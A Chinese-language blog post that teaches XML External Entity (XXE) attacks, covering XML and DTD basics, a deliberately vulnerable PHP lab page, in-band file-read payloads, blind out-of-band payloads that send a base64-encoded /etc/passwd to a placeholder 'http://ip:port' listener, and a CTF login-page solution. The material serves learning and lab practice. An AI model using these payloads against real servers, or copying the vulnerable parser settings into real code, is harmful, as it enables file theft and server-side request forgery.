XXE漏洞

XXE漏洞的学习

XXE:XML External Entity 即外部实体,从安全角度理解成 XML External Entity attack 外部实体注入攻击(那为啥不叫XEE)。对于 XXE 想要真正的了解它,就需要先来了解一下XML是什么。

XML基础知识

XML是可扩展标记语言(eXtensible Markup Language)的缩写,它是是一种数据表示格式,可以描述非常复杂的数据结构,常用于传输和存储数据。

语法结构HTML 大致相同,HTML 旨在显示数据信息,而 XML 旨在传输数据信息。(说到传输数据自然而然肯定会想到json格式,相比XML,现在用的更多是json格式来传输数据)

<?xml version="1.0" encoding="utf-8"?>
<note>
<to>seizer</to>
<from>ggbond</from>xml
</note>

在上面代码中的第一行,定义XML的版本与编码。

在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,<note>是整个文档的根元素。嵌套在note标签中的<to><from>则是根的子元素。

同时,所有的XML元素都必须有关闭标签,这点不像HTML语法那样松散。如果缺失关闭标签,则会导致XML解析失败。

实体

所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA 和 CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。

网上的文章中对实体的种类个数各有不同,大致为以下几种:

内部实体 外部实体 字符实体 命名实体 参数实体

文档类型定义: DTD

XML的语言规范是由DTD(Document Type Definition)来控制,类似编程语言的语法,它定义了XML文档的合法构建模块,即声明了XML的内容格式规范。

DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 dtd 文件。

内部引用

格式:

将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE xxe [  
    <!ENTITY  chybeta  "Hello World!">    
]>  
<xxe>  
    &chybeta;
</xxe>

访问该XML文档,&chybeta;会被解析为Hello World!并输出。

外部引用

通过引用定义在外部的DTD中的实体,我们称之为外部实体。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///c://123.txt">]>
<root>&file;</root>

image-20211019222721226

XML 注入

demo:

# 注入前XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">用户输入位置</USER>

当用户输入一些恶意代码,比如User1</USER><USER role="admin">User2,原XML代码就变成了下面的样子:

# 注入后XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">User1</USER>
<USER role="admin">User2</USER>

对于普通的XML注入,利用面比较狭窄,所及几乎永不i到,如果有的话也应该是逻辑漏洞,下面重点介绍XXE的利用!

XXE漏洞的利用

实验环境:

windows11 + phpStudy + apache + php

PHP Version: 5.2.17

libxml Version: 2.7.7

有回显读本地敏感文件(Normal XXE)

xxe.php

<?php
libxml_disable_entity_loader (false);
ini_set('display_errors','on');
$xmlfile = file_get_contents('php://input');
$info = simplexml_load_string($xmlfile);
// $dom = new DOMDocument();
// $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $info = simplexml_import_dom($dom);
print_r((string)$info);
?>

flag.txt

Congratulations to you!

demo.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "flag.txt"> 
]>
<foo>&xxe;</foo>

image-20211025212502713

如果 flag.txt中包含特殊符号,比如<>&'等,例如

<XXE Congratulations to you!>

image-20211026135124382

可以看到当被读取文件中含有特殊符号时,返回了一堆错误,这个时候我们可以使用CDATA(还可以使用 php://filter 进行 base64 编码进行读取)

什么是CDATA:

CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。

CDATA 部分由"<![CDATA["开始,由"]]>"结束

修改 demo.xml 为:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA["> 
<!ENTITY % xxe SYSTEM "flag.txt"> 
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "demo.dtd"> %dtd;]>
<foo>&all;</foo>

本地添加: demo.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%xxe;%end;">

image-20211026140239559

利用带有CDATA的Payload,可以看到特殊符号被成功绕过。

但是在真实情况下,服务器上的XML一般用于配置文件或者传输数据,而不是显示数据,因此在现实环境下利用这个漏洞就需要找到不依靠回显的方法。

无回显读取本地敏感文件(Blind XXE)

Payload1

靶机文件:xxe_blind.php

<?php
  libxml_disable_entity_loader (false);
  $xmlfile = file_get_contents('php://input');
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

本地 payload:demo.xml

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/demo.dtd">
%remote;%int;%send;
]>

本地文件:demo.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port?p=%file;'>">

在可访问的 ip 地址即端口上使用 nc 进行监听,从而形成攻击

img

Payload2

demo.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://ip/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

xxe.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:port/%file;'>">

整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。

思考

我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议:

img

BUU XXE COURSE 1

进入页面后是一个 Login 登录页面,随便填试一下

image-20211026142903435

发现 login.php ,并且发现了 xml 注入点

<?xml version="1.0" encoding="UTF-8"?>
<root> 
	<username>asd</username>
	<password>asd</password> 
</root>

回显为username标签,为有回显XXE

构造payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">]>
<root> 
	<username>&xxe;</username>
	<password>asd</password> 
</root>

注入后获得 flag

image-20211026143509182

PS:该文章只记录了 XXE 的入门学习,深入学习请圆详读下面参考文章

参考文章

Web安全学习之XXE漏洞利用

XML实体注入

如何在PHP中解析XML

posted @ 2023-01-08 23:14  seizer-zyx  阅读(80)  评论(0编辑  收藏  举报